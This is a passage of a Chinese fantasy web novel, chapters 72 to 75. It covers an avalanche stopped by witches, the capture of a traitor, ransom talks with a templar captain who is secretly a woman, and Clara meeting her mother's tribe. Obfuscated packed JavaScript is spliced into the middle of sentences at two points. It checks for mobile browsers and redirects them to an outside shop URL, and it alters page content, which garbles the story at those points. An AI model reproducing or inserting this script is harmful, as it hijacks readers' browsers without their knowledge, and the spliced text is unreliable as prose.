赫利斯语气严厉地警告了塔,随即又温温柔柔地问克劳拉她是怎么获得白珠的,伴随着一阵夸赞。 克劳拉被夸得不好意思了,她明明只杀死了一只巨魔。她犹豫了一瞬,并没有将白珠的由来说出口,即使是她自己也很难形容她看到白珠时心中的震撼。 一旦白珠的来历不再是秘密,为了利益,克劳拉想象不出人类可能会做些什么。她不是对敌人心软,她只是怀揣着对生命的敬畏。 塔在她身边起誓,会得到新的白珠再送给她。克劳拉摇了摇头,“我不需要再有新的了。那颗珠子你送给我,而我用它救你一命,对我来说是这样值得的,如此就够了。” 感觉塔还想说什么,无非又是道歉或是承诺,她立刻凶巴巴抢口,“不准再说了!老实闭着嘴养伤,我都没追究你契约图腾的事,你也别想追问我怎么一个人杀死的巨魔!反正是我赢了!” 塔老实了,后排的货箱有些狭窄,为了不碰到克劳拉,他只能笨拙地缩起四肢。 这幅委屈样,让克劳拉又想要凶他,但转头她发现赫利斯趴在椅背上,眼神奇怪地注视着两位小辈,也不知道看了多久。 莫名地她收了声,憋屈地屈起腿,给塔留些空间。 赫利斯地笑了下,转过身去,不再搭理货箱的两位。 雪橇并没有彻底靠近要塞,而是在一处高地停了下来。这里可以俯视到战场的情况。 北门也就是克劳拉最初离开的那道门附近,爆发了激烈的战争。战场上有几团燃烧着的巨大火团,克劳拉猜测应该是攻城武器。 除此之外,黄昏的天空下,她只能看到黑点们在移动。 赫利斯站在她身边用望远镜远眺,“嗯,我们的人占上风。冯的士兵也冲出来了,要不了多久就解决了。” “为什么我们不下去?”克劳拉疑惑,在这里观战做什么。 “可是我只是一位再柔弱不过的祭司,加上两位伤患和车夫,下去又能做什么呢?” 如果不是塔曾听说里纳族的双生花恐怖名声——不到成年就能毫发无损从巨魔群中全身而退,成年后更是让里纳族从实力低落部落一跃成为三大部落之一,他就要相信赫利斯的话了。 维尔图族仗着图腾之力的逆天,从来不畏惧任何巨魔,但里纳族图腾之力算不上强大,两姐妹只凭借自身实力让周边所有部落对她们又敬又怕。 见克劳拉一脸怀疑,赫利斯委委屈屈,“你也看到了,我只有一只手臂有图腾,可比不得维尔图少主上半身都是图腾呢。” 可是克劳拉明明记得那手臂上的肌肉线条就不像柔弱的样子。 “走吧,等我们到了后应该就结束了。南人这么多年还是没什么长进,只会窝里横。” 赫利斯轻挠着雪绒鸟的绒羽,一开始里纳族答应帮忙也不过是因为克劳拉兄妹在这里,见过克劳拉她就懒得亲身下场了,毕竟和人类厮杀可算不上什么有意思的事。 雪山在身后越来越远,克劳拉似若有所感,“侯爵他们不会出事吧。” “放心吧,那边有一阵强力的魔法波动。而且冯那家伙命硬得很,巨魔没有灭绝他可不会死。” 赫利斯语气里没多少对长辈的尊敬,她更像是一种对强者的认可感。 但克劳拉却更加忧虑了,看来雪山深处的情况并不容客观,也不知教会到底留有什么手段。 73. 第73章 起初只有一位年轻士兵,为了缓解恐惧,他轻声哼起了军队里常唱的歌谣。很快这歌声迅速蔓延。 在死亡面前众人的歌声几乎微不可闻,很快士兵自己居然能够动弹了,但此时已经晚了,飓风已经将他们吹倒在地,视野里只有满目雪色。 伊登停下脚步,他微微抬起手,象征德文希家族的尾戒散发着微弱的光芒。 “那是什么?”他说。 离开的士兵顺着他指的方向遥望去。 空中出现一朵朵巨大的六角冰花,冰棱迅速扩散,并逐渐形成一个巨大的圆泡将所有士兵保护在其中。 雪浪撞上这座巨泡,像浪花击打在礁石般四散开来,但浪花会回缩,雪浪仍然奔涌着向前。 侯爵拉住伊登,带着他冲进避风口,即使他心中同样震撼,但此时此刻他们最主要的任务是躲开雪崩。 圆泡中的士兵前一秒还在直面死亡的恐惧,下一秒如同奇迹般的冰面将他们牢牢包围。 “芭莎,你的左上魔力输出不稳;简,如果不想被雪冲走,就加大魔力输出!塞拉……” 达索琳游刃有余地支撑起整个冰面框架,还能顺手指点小女巫们,为她们上课, “雪原水、冰元素充裕,魔力稳定后,即使不再进行魔力输出,冰面也不会消散。不同环境下元素魔法的选择非常重要……当然火魔法是不同的……” 年轻的士兵感觉在做梦一般,他克制不住抽了自己一巴掌,疼痛感传来。 突然出现的女人们,以及她们口中自己全然听不懂的话。 “是女巫吧。”耳边另一位老练的士兵肯定道,“居然真的有能使用魔法的女巫。” “等下山和那群家伙说了他们也不会信……” “啊,上次不是有家伙回来说看到会传送魔法的女巫,你们还不信来着。” 短暂地失语后,士兵们纷纷找回自己的声音,互相搀扶着爬起。 冰棱在血月照耀下闪烁着奇异的色彩,饶是时不时能见到极光的士兵们也被这份绮丽的景观震撼到。 雪浪持续了近半小时,冰泡才不再震动,雷鸣般的声音也渐低。 危机解除,死里逃生的士兵们抱在一起痛哭流涕,但克制着没发出太大的声音。 他们朝着女巫的方向行礼,但小女巫们只点头示意,很快压低帽檐各个沉默不语。 达索琳没有强迫她们与外人交流,一挥手冰泡露出了一片小口,雪堆涌进来一些,并不多。 不多时泡内的士兵就和侯爵他们汇合,伊登立刻跑到达索琳面前,赞美的话就像喝水一般自然地冒出来,直到达索琳忍不住给他下了一道禁言咒。 小女巫们轻笑着。 侯爵也来到了女巫面前,腰杆永远停止的他,深深弯腰鞠躬,“女巫们再次拯救了霍德华家,感激不尽。” 达索琳受下了这一礼。回营地路上,解除禁言咒的伊登追问达索琳,为什么士兵们会僵立在原地动弹不了,这也太奇怪了。 士兵们也竖耳倾听,这种情况他们再也不想再经历一次。 “是恐惧之瓶,”名为简的小女巫为他解答,“一种魔法药水,闻到这种气味后的人会感受到极致的恐惧,大都数人恐惧时都会无法动弹,原理很简单。而少部分人能动弹可能是因为他们已经克服过心中的恐惧。” “像食物的气味一样,人类的喜怒哀乐惧都有气味,并且能够互相影响。但又和食物的气味不同,它们无色无味很难察觉,也很难收集,因为人类的情绪总是很复杂。” 简没有明说,为了收集恐惧气味,甚至是这么多能够控制住这么多士兵的恐惧,教会很可能杀死了不计其数的人。毕竟只有死亡的瞬间,大多数人的情绪很单一就是恐惧。 她一想到这些被杀死的人中很多都是像以前的她一样的女孩,她就止不住一阵窒息。 “难怪,巨魔不愿意离去,也是因为这什么恐惧之瓶。”伊登咬牙切齿,“这群卑劣的老鼠,有本事正面对决,搞这种不入流的手段,简直令人恶心。” “不用太担心,这种道具对同一目标再次使用时效果就会大打折扣。”简安慰他,而且这种道具收集难度太大了,教会应该拥有得也不多吧…… “使用药水的人就在你们之中,当然找出内鬼是你们自己的事,女巫并不负责这些。”达索琳终于开口,她的话让士兵们面面相觑,心情渐沉,没有人愿意怀疑朝夕相处的伙伴。 而且多半是能够动弹的人,虽然不排除有使用了药水就赴死的内鬼。但大家都倾向于内鬼在能够活下来的那群人中。 一直在营地内焦急等待的弗洛伦斯终于等到了先遣部队的影子,看到少了近三分之一的队伍,她一阵哽咽,“回来就好。” 没等她多说,侯爵立刻命人拿下了一位士兵。他的手中还握着匕首,可能想趁此时搏一把杀死侯爵,但被周围的将领察觉了。 士兵很年轻,被以往的同伴按在雪地里,他也神色淡然,闭紧嘴一言不发。侯爵一挥手他就被五花大绑扔进了杂物帐篷里,现在并不是审问他的时候。 留守要塞的士兵们都被这突如其来的变故吓到了,明白这是内鬼后,他们随即一阵心情低落。连他们的队长都背叛了要塞,队伍里还有多少内鬼,亲近的伙伴还能够信任吗? “不要因为少数叛徒就不再信任身边的战友,朝夕相处的是什么人,你们比我更了解。”侯爵看出了士兵中的信任危机,他沉声道,“我会永远信任我的背后有将士们守护!为西亚尔玛而战!” 士兵们即刻肃立将手放在胸口,回应他的信任,“为西亚尔玛而战!” 侯爵替等在一旁的弗洛伦斯将斗篷系好,帽子戴正,“又要麻烦你了弗洛娅,伤员们与你们后勤一同返回,先遣部队要先一步回要塞了。” “查理的事……”弗洛伦斯才刚知道克劳拉没有出事,她才松了口气,但愧疚与自责仍然不停折磨着她。 “弗洛伦斯小姐,这件事不是你的错,若拉不会怪你的。”伊登了解克劳拉,她肯定会反过来担心弗洛伦斯太过于自责。 “到底是我将克劳拉带进这些麻烦事中,还是我疏忽导致克劳拉失踪……” “弗洛娅,你还需要好好招待我们的客人,其他的事等你见到克劳拉阁下后再亲自去道歉吧。”侯爵打断了她的话,并将几位女巫介绍给了她。 侯爵已经看出女巫们除了伊登并不怎么和男士们交流,而营地里目前只有几名女子,交给弗洛伦斯是最佳的选择。 弗洛伦斯果然暂时将愧疚与自责抛之脑后,又忙碌起来。她迫不及待想从女巫口中得知老师的消息。 先遣部队没有休息,趁着夜色又往山下赶去。 如赫利斯所说,她们抵达时,战场已经结束了。血月悬在天空,要塞燃起了火把。 燃烧火炬将战场照亮,圣殿骑士这边远比要塞内损失要小得多,他们并没有进行非常顽强地抵抗,队长贾斯判断了一下形势,立刻选择下令投降。 按照骑士法,投降的骑士不能被处死。这些明明是战败者的骑士反而各个神色轻松,被卸了铠甲与武器还在谈笑。 北境骑士们心中的怒火无法宣泄,但在侯爵回来前没有人敢真的动手杀死他们。 但里纳族人可没什么顾虑,捋起袖子就是一阵拳打脚踢,反正不打死就行。 圣殿骑士一开始嘴里还在辱骂,“你们这群该死的异教徒!野蛮人!”到后面鼻青眼肿说不出话来。 这支战士的领头人斑乐呵呵地与玛格丽特及骑士长打招呼,“我们的人有些太暴躁了,希望伙计们不要介意。唉,管理他们费劲得很。” 玛格丽特将头盔夹在胳膊处,“很感谢你们的帮助,西亚尔玛会铭记每一位伙伴!” “不用这么客气,冯可答应我们明天春天去东边的森林随便打猎!” 里纳族觊觎那边的猎物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100727|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和物资好久了,可惜是冯的领地。 “不管怎么说还是谢谢你们。”玛格丽塔侧头就望见了不远处的克劳拉,她眼睛一亮,抬高声音,“克劳拉!” 她一拉缰绳,向斑抱歉,策马小跑着来到克劳拉面前。 “克劳拉!真高兴看到你没事。”不久前玛格丽特从士兵口中得知叛徒居然想害克劳拉,她还担心克劳拉会受到伤害。 克劳拉微仰头,玛格丽特穿着玄色的全套铠甲,和其他任何骑士团的铠甲都不同,这副铠甲通体黑色,除了关节处的银白线条,几乎没有任何多余的浮雕与花纹。 “很适合你的铠甲。”她真心感慨,比那些花里胡哨的铠甲好看多了。 玛格丽特羞涩一笑,转而又看到了赫利斯,她立刻行礼示意。 “冰天雪地的,我们非要在外面闲聊吗?”赫利斯将手搭在克劳拉的背上,“带你去认识一下族里的家伙。” 克劳拉顺着她的力道向前了两步,但忽然停下了,她再次将目光放回玛格丽特的铠甲上,灵光一闪, “啊!是铁!” “什么?”被她突然的惊呼吓到了,周围的人都望了过来。 “塔!你在洞穴里的时候有没有觉得剑比往常更沉重,像是有什么东西在吸着它。”克劳拉猛地抓住塔的手臂,压低声音询问到。 塔略一思索,给出了肯定的答复。 克劳拉与玛格丽特对视一眼,后者兴奋地跳下马,“是磁铁!” “而且很可能有成群的矿脉!”克劳拉简直现在就想见到达索琳,狠狠地拥抱她,如果不是达索琳教导她这些知识。 这可是重要的发现,克劳拉立刻收敛了过于激动的表情,“总之这件事先不要告诉更多的人,毕竟这是在西亚尔玛的领地,由你们派遣专业的人士先去勘探一下。” 玛格丽特也明白这件事的重要性,索性附近都是自己人,并没有被圣殿骑士们听到,她也克制住自己,几人若无其事朝着要塞而去。 要塞里居然在下雨,四处带有烧焦的气味,内部也不少被巨石毁坏的痕迹以及血迹。克劳拉方才因为铁矿激动的心情瞬间冷却了,教会这次并非像前几次在德林郡小打小闹一般,而是动了真格。 “小姐!”安娜冲过来,扑进了克劳拉怀里,“伊登阁下的信里告诉我您落下悬崖了!怎么会这样,您没出事吧?天呐要不是看到您的字迹我真的想立刻跑去雪山找您。” 被她这么一扑,克劳拉刚缓和的内伤又隐隐作痛,但她回抱住安娜,“出了些小意外,不过我没什么事,塔找到了我,我们还遇到了赫利斯姨妈。抱歉让你担心了。” “一会我替您熬些草药吧。”安娜还是很担心,尤其感觉到克劳拉脸色不好后。 努力保持微笑的克劳拉,“好了,安娜,我们还有很多事要做,草药的事先放一边。” 赫利斯跑去劝解里纳族的战士们了,来之前各个想见克劳拉兄妹,等真抵达西亚尔玛后,又变得别扭不愿意见她。正好克劳拉也没做好准备和他们见面。 维尔图的战士想要见塔,克劳拉原以为塔不会去,但塔争得她同意后,还是决心与以前的族人见一面。 玛格丽特还要组织要塞修建,以及和姐妹会的女孩们安抚救治受伤的士兵和领民,安娜也一同去帮忙。 抽空嘉奖完英勇奋战的雪鸮骑士们,克劳拉回到房间想要休息会。即使身体与精神都十分疲惫,但她躺在床上却无法入睡。 浅眠一小会又很快被噩梦惊醒,冬夜里她被惊出一身冷汗,小腿又泛起疼痛,明明连青紫都不复存在了,克劳拉一直记得那种疼痛感。 这两天的一切像走马灯一样在她脑海里回荡着,最后画面定格在那枚轻轻落在雪地里的白珠上。 在这个雪夜,克劳拉在心中作出了一个艰难的决定。这的决定让她在后世很长一段时间都饱受诟病,但在此时,克劳拉心中无比确认她做法是正确的。 74. 第74章 早上用餐时,北境骑士告知克劳拉,被俘虏的骑兵队长想单独见她一面,克劳拉直接拒绝了。 这里是西亚尔玛要塞,不是德林郡,她不至于跨过这里的主人去面见一个敌人, “告诉他,等侯爵阁下回来再说。” 刚得知她落崖又受伤的雪鸮骑士挤在在她身边,克劳拉废了半天才安抚住他们。 “你们这几天,没做什么坏事吧?” 为首的雪鸮骑士立刻心虚地移开眼,借口要去帮忙打扫战场,很快跑走。 安娜手疾眼快,替她揪回来一个,克劳拉双手环胸,面带微笑。 “也不是什么坏事,当时玛格丽特小姐希望有人去守着要塞内教会的神职人员。嗯,我们稍微教导了一下他们如何与您相处。” 确认克劳拉的神色没有生气,只是无奈,正巧此时玛格丽特来找克劳拉,落单的骑士迅速溜走。 “你的骑士们走这么急,是有什么事要做吗?”玛格丽特与骑士们擦肩而过,“我有事要和你说。” 克劳拉叹口气,懒得再管雪鸮骑士们,反正也不是什么大事,随他们去吧。她随着玛格丽特前往书房。 “铁矿那边我已经派人去勘探了,如果属实,后续我们再商议这批铁矿分配的事情。” 这件事克劳拉没理由拒绝,铁矿的重要性不言而喻,看霍德华家的样子是不打算上报王室直接私吞,正巧她也正有此意。 “很感谢安娜与你的骑士们对要塞的帮助,以后有用得上我们的地方尽管开口。” “不用这么客气,霍德华家替德林郡守护防线这么多年,保护了领民们,我们回助你们是应该的。” 况且克劳拉深知唇寒齿亡这一点,教会拿下西亚尔玛,下一个目标就是德林郡。 玛格丽特从一堆信件中拿出两封递给克劳拉,“你的信,昨天战乱,执事们一同送到这儿了。” 注意到克劳拉目光停留在墙上,便为她介绍这些人像,“这里陈列的是霍德华家历代家主。” 第一次来侯爵书房时,克劳拉就注意到了这间房间悬挂着的各式人像,女性的画像不在少数。 她最开始以为是家主及夫人的画像,但玛格丽特却告知她这些都是家主。 “这是我的曾祖母卡西雅·霍德华,也是昨天那副铠甲的主人。如你所见,霍德华一家家主的继承和爵位、性别无关,也不需要获得王室的认可。” 玛格丽特指着侯爵左边一副画这么说着,克劳拉立即明白了她将成为霍德华家下一任继承人。 “所以克劳拉,谢谢你带我参观那所大学,让我从梦境中清醒。也谢谢你邀请我前往女巫塔,很抱歉我想我不能前往了,我要留在西亚尔玛,成为祖父的助力。” 眼前女孩的眼神既带着坚毅,也有一丝不易察觉的暗淡,克劳拉知道她还是渴望知识、渴望学习, “我尊重你的选择。但也不是非要去女巫塔,弗洛伦斯学成后还可以教给你!说不定未来西亚尔玛也会建起一座女巫塔呢!” “嗯。总之冬星节之后你们就要回去了吧,到时候就要很久才能再见了……” “谁说你不去女巫塔的!”侯爵洪亮的声音在书房门口响起,他大步朝两人走来。 “祖父!您回来了!” “侯爵阁下。” 侯爵只身一人,他先是告知克劳拉伊登也回到要塞,但先行前往疗伤了,伤势不重,很快就能痊愈。 随后才郑重其事地请求克劳拉允许玛格丽特和弗洛伦斯一同前往女巫塔学习。 “当然,只要她们愿意,女巫塔的大门将为所有真心求学的人敞开。”克劳拉自然不会拒绝这一请求,她也很喜欢霍德华家的两姐妹。 “但是祖父,要塞这边需要我!您的身体……” “听好了玛格!”侯爵将双手搭在玛格丽特的肩膀上,“这是你梦寐以求的知识,去学习掌握它们!去证明你自己!再将这份知识带回西亚尔玛。至于我的身体,祖父我能战到百岁!” 爷孙两短暂地相拥,侯爵又很快变回铁血无情的战士模样,“克劳拉阁下,或许我们现在应当处理一些教会的事了。” 贾斯很快被押送至几人面前,他嘴角带有淤青——看来还是被北境骑士或是里纳人收拾了一番,但仍然持有着基本的风度,即使跪着,腰仍挺直,头颅高抬。 “听说你想见我一面,”克劳拉一手撑着下巴,另只手在扶手上轻叩着。 “很高兴您还活着。”贾斯语气真诚,克劳拉都分不清他是在讽刺还是真情实意。 他环视一下坐在高位的几人,霍德华侯爵、霍德华家中大小姐、克劳拉,以及她身后伫立着的女巫。 “事实上,双手缚在身后这个姿势让我很难思考,尊敬的侯爵阁下,能否命令你的属下为我解开这幅枷锁。” 这种泰然处之的态度,让侯爵眉峰一挑,他随意一动手指,“替他解开。” 北境骑士动作粗暴,链条被晃得叮当作响,口中还不忘威胁:“你小子最好老实点,一有动作我会立刻砍下你的头!” 盘腿一坐,贾斯转动酸痛的手腕,似乎他并不是在被审讯,而是在参加一场茶会,“教会拥有三大骑士团,圣殿骑士团、医院骑士团、教皇直属骑士团,总计超过8万人,其中两万是重骑兵。” “你是在挑衅我吗?告诉我不该和教会作对?”侯爵一拍桌面,木质方桌没承受住他这一击,裂成两半。 “我并不是这个意思,此次作战圣城派出了3000精骑兵与2000步兵,当然因为克劳拉殿下的女巫,最终抵达的不过千名骑兵。一位骑士赎金大约为20金,我估计教会能接受的上限是5万金——这对您两位的领地来说都是一笔巨款吧。” 五万金确实,领地近十年的税收了。克劳拉都被这个数字弄得眼馋,圣城可真有钱,毕竟被这么多国家供养。 贾斯微微一笑,“如果我说,我能让赎金增加两万金,但我想向克劳拉殿下要一个承诺。” “你区区一个骑兵队长,哪来这么大的口气?”两万金侯爵心中有些意动,不过原本他是打算将这件事捅到古斯塔一世那边。 “这就是我的事了,但这件事不能让国王陛下插手,否则连五万金起码大半落入陛下的口袋里。”贾斯猜到侯爵打算告知给古斯塔一世,但还在犹豫,他替教会堵死这个可能,就当是报恩。 “奇怪,你们圣城似乎有些忌惮陛下,为什么?”克劳拉虽然大体上知道古斯塔是个战争狂魔,他在位期间几乎把索滋帝国领土扩大了一倍,但仅仅会打仗应该还不至于威胁到圣城吧。 “因为他是一位合格的政客。”贾斯并不想多讨论这个话题,他再次询问几位的意见,是否愿意两万金换一个承诺。 “如果这个承诺会对我对我身边的人或是德林郡造成利益损失,那我不能答应。”克劳拉并没有被两万金利益蒙蔽大脑。 贾斯毫不犹豫道:“您大可放下心,这个承诺绝不会损害您的利益。顺带我能为诸位提供一些教会相关讯息,包括您的合作者阿方索大主教。” 侯爵衡量着隐瞒古斯塔带来的利弊,说实话教会这次行动相当大规模,未必瞒得住,但还是能隐瞒俘虏的存在, “容我再思考一阵,你们既然来了就在要塞里多做客几天。” 审讯结束,贾斯被带回监牢。 侯爵又在摸他的酒袋了,但他刚回来,还没来得及往袋里装上新的酒液,侯爵只能遗憾地摇头,“这倒是个人物,难怪她能以女子之身走到这个地步。” “嗯。嗯?女……女人?他是个女人?”正琢磨贾斯会要什么承诺的克劳拉,大脑一时没转过来,那家伙怎么看都不像个女人吧? “啊,进监牢前总得搜身,她大方地承认了。不过知道这事的人并不多,也不知道她用什么办法躲过教会的审查。”侯爵也离开了审讯室,他要去弄些酒喝,之后还有很多事务要解决。 一个女人加入骑士团,还让她混成了圣殿骑士的骑兵队长,若是教会知道了只会觉得这是奇耻大辱。 克劳拉这时倒有些替贾斯的未来忧心起来,很快她掐了自己一把,替敌人忧心做什么,贾斯都在教会里这么多年没被发现。 她追上侯爵,询问古斯塔一世被教会忌惮的原因。 侯爵略思索了一番,“说起来巴特也是这件事的受益者。你若是感兴趣晚些时候我再告知你。” 刚回要塞,侯爵还有很多事情需要与下属确认,克劳拉只好耐心等待一阵,她带着安娜前去临时医院。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116629|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说是医院,其实是一顶帐篷,姐妹会这两天快忙死了,受伤的士兵与平民太多,她们又都只学习过一些基础的护理,还没来得及跟随蕾莱深入学习。 “安娜!安娜!这有一个病人发热失去意识了!我们都不知道怎么办,要塞里的医生又不肯过来!”一见到安娜,几个姐妹会的小女孩围了过来,眼眶红红的,眼底还带着乌黑。 安娜回望克劳拉,后者挥了挥手,“快去吧。” 安娜立刻穿上女孩们递给她的围裙,加入了救治的队伍里。 克劳拉远远地站着看了会,帐篷里躺了上百人,为了不让伤员太冷,帐篷里燃着许多碳盆,还开了不少小窗透气。 顺着女孩们指引的方向,她找到了正和士兵们聊天的伊登。 “当时雪都快冲到我们头顶,下一瞬就要把人全部吞灭了,我当时都以为见不到你们这帮家伙了。谁知道眼前一下子就出现了彩色的冰面……” “你可吹吧,彩色的冰还能阻止雪崩?” “就知道你们不会信,我能骗你们,伯爵阁下还能骗你们呢!你问他!” “他没说谎,达索琳大巫就是这么强!别说阻止雪崩了,她哪天想把德林山脉移走都能做到!”伊登说得比士兵还要离谱,留在要塞里的士兵纷纷露出怀疑的神情。 看他虽然绑着胳膊,但还有心思和士兵们吹牛,克劳拉就放心了,站在一旁听他们说话。 也从士兵口中得知了他们遭遇的一切和所谓的魔法药水恐惧之瓶。 阿方索明明说过女巫已经将教会巫师的传承断绝了,为什么教会还有这么多巫师手段?如果当时女巫没有断绝这份传承,现在的教会又会发展到如何恐怖的地步,克劳拉简直不敢想。 伊登向士兵们夸夸其谈,讲述他在女巫岭遇到的一切。却总遭到质疑,什么女巫们既然这么厉害,为什么不直接把教会打下来,还得躲在森林里。 “以为谁都像教会一样,只想着扩张侵略!女巫在森林里,和自然共生,拥有力量但不侵犯他人,这才是强者该有的礼仪!现在出世也不过是因为教会实在太过分了,她们不忍见到教会继续给世人带来苦难,才选择拯救大家!” 伊登高声为女巫们辩解,被女巫们救下一命的士兵纷纷附和他。原本半信半疑的士兵们也隐隐对女巫们产生了憧憬,女巫们或许就像姐妹会的女孩一样乐于助人,美丽大方。 太过于激动牵扯到伤口的伊登疼得龇牙咧嘴,撇开脸不想让别人看到他的表情,这才发现克劳拉就在不远处一直看着他。 “若拉!”他立刻忘了疼痛,窜到克劳拉面前,“若拉,你怎么会落崖,太可恶了伤害你的人!他死了吗?你没受伤吧?你怎么回来的……” 问题接连从他口中冒出,难得克劳拉有耐心的一一回复他——看在他这么尽心尽力为女巫博名声的份上。 不想在帐篷里被人当猴一样看,克劳拉索性拉着伊登出去。 “说起来我们回来前,去了一趟托里曼人的驻扎地。”里纳的战士们并没有进到要塞里,而是在附近驻扎,侯爵回要塞前,先去寒暄道谢,他也跟了过去, “那些人看我的表情特别奇怪,讨厌我又想和我说话的样子——啊!黄眼小子也在那边!我还在想他怎么没在你身边!” “是塔,不是黄眼小子,你也差不多该好好叫他的名字了。”也不知道伊登莫名的敌意哪来的,现在又马上皱眉撇嘴。 克劳拉无视他的不悦,继续道:“至于那些战士,来自里纳族,你知道的母亲的族人,见到你这张脸,心情复杂也正常吧。” 伊登更加闷闷不乐了,他回想起了母亲的死因,又想到巴特的隐瞒以及不作为,也就理解里纳族为什么对他不喜了,但是直白地被人讨厌还是一件让人难过的事情,“那我们应该给他们道歉吗?” “当然不用。”克劳拉扯着伊登的脸颊,强行让他露出笑容,“母亲的死不是我们的错,没有人能因此逼我们道歉!里纳族的人不喜欢我们,我们也不喜欢他们就好了,你很缺家人吗?有我、菲米娅和大家还不够吗?” “够了!”伊登的左胳膊抬不起来,只能抬起右手抓住克劳拉作怪的手腕,“过了冬星节我们就回家吧,我想菲米娅了。” “好。” 75. 第75章 清晨,克劳拉被一阵规律的“笃笃”声唤醒,她顺着声音的来源,来到窗前。 窗外一只雪绒鸟无辜地歪头,“咕?” “克劳拉!下来!哦对,带上你的哥哥。”雪绒鸟的主人在楼下朝她挥手。 克劳拉看一眼时钟,还不到用早餐的时间,天都没完全亮。不过她还是将伊登唤醒,拖着他下楼。 赫利斯今天穿着红黑色的衣裙,肩批着兽皮坎肩,身上挂满了各式的羽毛吊坠。裙摆的花纹很特殊,像是里纳族图腾的模样。 感觉克劳拉对她的裙子感兴趣,她像少女一样转了个圈,裙摆飞扬,“好看吧!你们南人的裙子都华而不实,哪像我的,抬脚就能踩人……我是说,跑动起来很方便。” 不知道为什么,赫利斯似乎执着于在她面前装成柔弱的样子,克劳拉其实也不知道赫利斯到底多厉害,她这样做只会适得其反。 这时的要塞里只有巡逻的士兵与修缮的工匠。三天后就是冬星节,但要塞里笼罩着悲伤的气氛,也不知道今年的节日庆典能不能顺利举行。 “走吧,原本想让那群家伙亲自来见你们,但一窝蜂涌进要塞,可别吓到冯了。”赫利斯对着伊登的脸有些神色有些复杂,但这份复杂只持续了一瞬,她又戴上温柔的表情面具。 伊登还是第一次见到赫利斯,他直接陷入呆滞,小心贴着克劳拉,“这是谁啊?” “你昨天没有见到她吗?这是赫利斯姨妈,母亲的妹妹。” 两人自以为小声的对话,被赫利斯听了个正着。她在收到霍德华的来信时犹豫过,最终还是想来见两人一面——这是蒂斯萝丝拼死留下的孩子,是她与世间唯一的连系了。 蒂斯萝丝本来是钦定的下一任族长,却莫名和一个南人跑了,本来就让族中战士们大为不解。 几年后却传回族内的却是她的死讯,这让大伙更加无法接受,好几次都想攻打德林郡问个明白。巴特来了一趟里纳族亲身谢罪,不久后也奔赴了死亡。 作为唯一知道两人事情始末的赫利斯,心情十分复杂,说不上自己是后悔替姐姐隐瞒、一直支持两人,还是怨恨巴特让姐姐因为这种屈辱的方式死去。 共生契约一方死亡后,另一方原本也会在两年内死去,但巴特强撑了近十年。能让他一直忍受反噬活下去的原因,是仇恨亦或是眼前的两兄妹,至今她也没能明白。 总之她不打算强求族人接受两人,见一面就当了却族人这么多年未了的心愿和没能见到少主最后一面的遗憾。 里纳族人没有热烈的欢迎,也没有恶言相对。他们语气平淡得就像对关系普通的朋友般,了解了一下兄妹两这些年的生活。 原本想和伊登比试,顾虑他受伤的手臂,又作罢。赫利斯询问克劳拉想和族里战士比划比划吗,这是难得的机会,克劳拉一口答应。 比试没有用武器,克劳拉的搏斗技术都是塔教的,实际没有其他人敢和她近身格斗。除了艾洛薇那次,克劳拉几乎没有和塔之外的人交过手。 和她比试的是位年过三十的女战士,她解释说其他战士可能把控不了下手的分寸。克劳拉并不在意,对她来说都一样,从她杀死那只巨魔开始,她感觉自己心中有什么要破笼而出。 女战士刚开始有些束手束脚,她并不想弄伤年轻的女孩,尤其还是少主的孩子。但对手的眼神却激发了她的战意,让她忘记了眼前人的身份,只当成和她同等的战士。 她几度将克劳拉摁倒在冰面上,但又被她见缝插针反制。聪明且难缠,还不要命。 “力量不足,但是技巧和决心有。”赫利斯懒懒散散靠在树干上,眼睛却没从克劳拉身上移开。 她只看到了克劳拉砍下巨魔头颅的那瞬间,说实话她一开始以为克劳拉杀死那只巨魔是侥幸,或者那只巨魔原本就被塔所伤。 现在她想或许并不光是运气好。 身边的伊登并没有回复她,他在思索每一次短暂地与克劳拉分开,她都会有新的变化,这次又是什么让她变成了这副模样。 最终女战士将克劳拉死死压制在地上,膝盖抵住了她的喉骨,但克劳拉也扼住了她的脖颈。 “好了好了!停下!这只是比试,不是搏命哦!”赫利斯拍手,女战士卸了力,克劳拉也松开手。 赫利斯将克劳拉从地面拉起来,替她拍去身上的冰雪,“宝贝,你这么拼命干嘛,受伤了我多担心。” 一旁站着的女战士一阵恶寒,拢了拢外套。 “赫利斯姨妈,不要这么叫我。”克劳拉也尴尬得忘记了方才那种杀意,她侧头看到了人群里的塔,塔的脸色并不算好,难道是在以前族人那里受气了。 赫利斯询问还有战士想要指点一番吗,战士们摇摇头,这时的他们脸色比最开始缓和了许多,毕竟战士们都是慕强的。 用餐时他们都或多或少围过来和克劳拉交谈。 托里曼人一天只吃两餐,头餐用得比在城堡里的中餐要早,食物是鱼和腌肉。赫利斯原本想亲自给兄妹两人做些吃的,但很快被闻讯赶来的战士们拦下。 她遗憾地耸肩,“这些家伙都不爱我煮的东西,你告诉他们上次我熬制的草药味道怎么样?” “……”克劳拉光是回想,那股想呕吐的欲望就抑制不住了。 “为什么要熬制草药,你不是说你没受伤吗。”伊登并不习惯手抓用餐,他用匕首替克劳拉切着肉,闻言抬起头。 “出了点小意外,喝了草药就没事了。”克劳拉说得轻描淡写,伊登深深注视着她,最后还是没有多问,将切好的肉递给她。 也不知道塔去哪了,她比试时还在,克劳拉应对着和她说话的里纳人,边四处打量。 